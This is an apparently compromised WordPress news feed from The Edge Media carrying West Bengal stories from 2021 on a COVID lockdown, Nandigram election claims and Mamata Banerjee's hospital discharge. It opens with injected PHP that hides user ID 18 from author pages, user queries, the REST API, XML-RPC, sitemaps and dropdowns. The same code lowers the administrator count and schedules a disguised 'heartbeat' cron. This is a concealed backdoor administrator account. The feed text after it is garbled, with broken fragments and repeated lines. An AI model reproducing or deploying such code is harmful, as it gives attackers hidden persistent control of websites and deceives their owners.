add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post COVID-19: West Bengal announces full lockdown from May 16 for next 15 days appeared first on The Edge Media.
]]>The step has been taken in view of rising COVID-19 cases. West Bengal on Friday recorded its highest single-day spike of 20,846 fresh coronavirus infections, taking the total tally to 10,94,802. The death toll in the state has also mounted to 12,993 after 136 more people succumbed to COVID-19.
Earlier on April 30, the West Bengal government had imposed a partial lockdown in the state.
The post COVID-19: West Bengal announces full lockdown from May 16 for next 15 days appeared first on The Edge Media.
]]>The post West Bengal polls 2021: Mamata Banerjee will lose, claims Suvendu after casting vote appeared first on The Edge Media.
]]>“I have a very old relationship with the people of the area. I have a personal relationship with almost every person in Nandigram. Pretty confident that I will win the election,” Adhikari said.
“Entire villages have come out to vote in favour of the BJP,” he added.
Adhikari said that he went to the polling booth on a bike as the road was too narrow for a car.
“I will urge the people to come out early and cast their votes. There were reports of problems at some booths but those have now been solved. The polling is happening peacefully,” he said.
He said that he will try to visit all the booths in the constituency.
Further, the BJP leader claimed that the TMC has failed to depute agents in all the booths.
“It shows that Mamata Banerjee will not be able to win the elections,” he said.
Adhikari exercised his franchise for the first time in Nandigram after becoming a voter of the constituency ahead of the elections.
The post West Bengal polls 2021: Mamata Banerjee will lose, claims Suvendu after casting vote appeared first on The Edge Media.
]]>The post Mamata alleges goons from other states intimidating voters in Nandigram, seeks EC action appeared first on The Edge Media.
]]>Speaking to reporters before hitting the campaign trail for the later phases, Banerjee alleged that locals are being hounded out of various villages in the assembly constituency in the Purba Medinipur district.
“Goons from other states have entered Nandigram to intimidate the voters. The villagers of Balarampur and many other areas are being hounded out. They are intimidating voters,” she alleged.
“We are lodging a complaint with the EC. The Election Commission must take note of it and take action,” she added.
BJP leader Jaiprakash Majumdar said that although it is for the EC to look into the allegations, but it seems that sensing defeat the chief minister is making such claims in advance.
All eyes are on battleground Nandigram that is going to the polls on Thursday with Banerjee engaged in a fierce contest with her protege-turned-rival Suvendu Adhikari of the BJP.
The post Mamata alleges goons from other states intimidating voters in Nandigram, seeks EC action appeared first on The Edge Media.
]]>The post Mamta Banerjee’s 18-year oath: when the police dragged her down the stairs appeared first on The Edge Media.
]]>The post Mamta Banerjee’s 18-year oath: when the police dragged her down the stairs appeared first on The Edge Media.
]]>The post Mamta Banerjee discharged from hospital, charged with assault appeared first on The Edge Media.
]]>At the same time, TMC MPs tied black bandage to meet the Election Commission regarding the alleged attack on Mamta. The TMC demanded a high-level inquiry. On the other hand, the Congress Party has released the list of 30 star campaigners for the Bengal elections.
West Bengal Chief Minister Mamata Banerjee has been discharged from the hospital. She was admitted to Kolkata’s SSKM Hospital. In this regard, the hospital administration said that the treatment had a good effect on Mamta Banerjee. She has been discharged from the hospital with appropriate guidelines due to his repeated requests. She has been advised to get re-examined after seven days.
The post Mamta Banerjee discharged from hospital, charged with assault appeared first on The Edge Media.
]]>